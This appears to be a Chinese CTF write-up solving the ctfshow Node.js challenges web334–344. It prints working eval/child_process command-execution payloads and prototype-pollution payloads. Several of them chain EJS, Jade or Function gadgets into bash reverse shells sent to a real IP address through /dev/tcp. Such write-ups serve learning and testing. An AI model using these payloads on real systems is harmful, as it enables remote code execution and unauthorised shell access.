【Web】Ctfshow Nodejs刷题记录

news/2024/5/19 22:26:12 标签: 前端, CTF, WEB, 安全, 笔记, ctfshow, nodejs

目录

①web334

②web335

③web336

④web337

⑤web338

⑥web339

⑦web340

⑧web341

⑨web342-343

⑩web344


①web334

进来是一个登录界面

下载附件,简单代码审计

表单传ctfshow 123456即可

②web335

进来提示

get上传eval参数执行nodejs代码

payload:

?eval=require('child_process').execSync('tac f*').toString() 

③web336

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

(不能使用通配符)

④web337

上来给到源码

?a[x]=1&b[x]=2 

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

 

⑤web338

进来拿到源码

贴两段关键的

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

 common.js

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

 考的是原型链污染

payload:

{"a":1,"__proto__":{"ctfshow":"36dboy"}}

⑥web339

关键代码

api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

flag值未知,用上一题的思路走不通

这时候看api.js的代码,发现存在可以在login污染query参数 再在api利用Function反弹shell

Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。
而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。

贴出payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}

 在login污染

 在api触发

 

⑦web340

贴出不一样的地方

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

这里要注意的是,user.userinfo.isAdmin原本就存在,不会向上找,修改Object.isAdmin无用

所以还得利用api反弹shell

但这次要污染两层

payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}}

 

⑧web341

我测,api没了还有啥利用点

在app.js中发现是ejs

 直接ejs rce梭了

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}

printenv查看环境变量可以看到flag

⑨web342-343

在app.js中发现是jade

 直接用jade rce payload

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');//"}}}

注意这里发包时要设置Content-Type: application/json

⑩web344

 理想的payload:

?query={"name":"admin","password":"ctfshow","isVIP":true}

为了绕过","过滤

补充前置知识

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析

因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式 ,所以要编码c

最终payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}


http://www.niftyadmin.cn/n/5198767.html

相关文章

Web 自动化神器 TestCafe(二)—元素定位篇

今天主要给大家介绍一下testcafe这个框架元素定位的方法。 一、CSS 选择器定位 使用 testcafe 对元素进行操作的时候,我们可以直接通过 CSS 选择器指定要操作的元素,比如,点击元素,input 输入文本内容,如下&#xff1…

通过easyexcel实现数据导入功能

上一篇文章通过easyexcel导出数据到excel表格已经实现了简单的数据导出功能,这篇文章也介绍一下怎么通过easyexcel从excel表格中导入数据。 目录 一、前端代码 index.html index.js 二、后端代码 controller service SongServiceImpl 三、功能预览 四、后端…

.Net6 Api Swagger配置

1、定义个Swagger版本&#xff08;组&#xff09;的枚举 namespace WebApp.Enums {/// <summary>/// api版本枚举/// </summary>public enum ApiVersion{/// <summary>/// v1版本/// </summary>v1 1,/// <summary>/// v2版本/// </summary&…

golang学习笔记——要求用户输入一个数字,如果该数字为负数,则进入紧急状态

要求用户输入一个数字&#xff0c;如果该数字为负数&#xff0c;则进入紧急状态 编写一个要求用户输入一个数字的程序。 在开始时使用以下代码片段&#xff1a; package mainimport "fmt"func main() {val : 0fmt.Print("Enter number: ")fmt.Scanf(&quo…

Python数据结构——List

一、列表 1.1创建列表 &#xff08;1&#xff09;构造函数创建 dataListlist() &#xff08;2&#xff09;直接赋值 dataList[1,2,3,4,5] 1.2添加元素到列表 dataListlist() dataList.append(3) # > [3] 1.3删除元素 &#xff08;1&#xff09;删除第一个匹配的元素…

外观模式 rust和java的实现

外观模式 外观模式&#xff08;Facade Pattern&#xff09;隐藏系统的复杂性&#xff0c;并向客户端提供了一个客户端可以访问系统的接口。它向现有的系统添加一个接口&#xff0c;来隐藏系统的复杂性。 举个例子 &#xff1a;就像电脑的usb接口&#xff0c;自己内部实现了复杂…

Altium Designer 相同模块的布局布线复用-AD

1、利用交互式布线&#xff0c;将两个相同模块的元器件在PCB上分块显示。 在原理图中&#xff0c;框选某一模块电路、按快捷键 TS 切换到PCB编辑界面、工具>器件摆放>在矩形区域内排列&#xff08;可将模块中的器件都集中放置到矩形框内&#xff09;。2、为模块电路添加 …

鸿蒙系统调研适配

写在前面&#xff1a; 以下内容基于我个人翻阅的官方资料以及自己的理解写的&#xff0c;可能存在认知和理解上的偏差&#xff0c;有些地方并不一定是对的&#xff0c;请谨慎对待&#xff0c;注意甄别&#xff01; 一、鸿蒙OS是什么&#xff1f; 华为推出的多端统一平台&…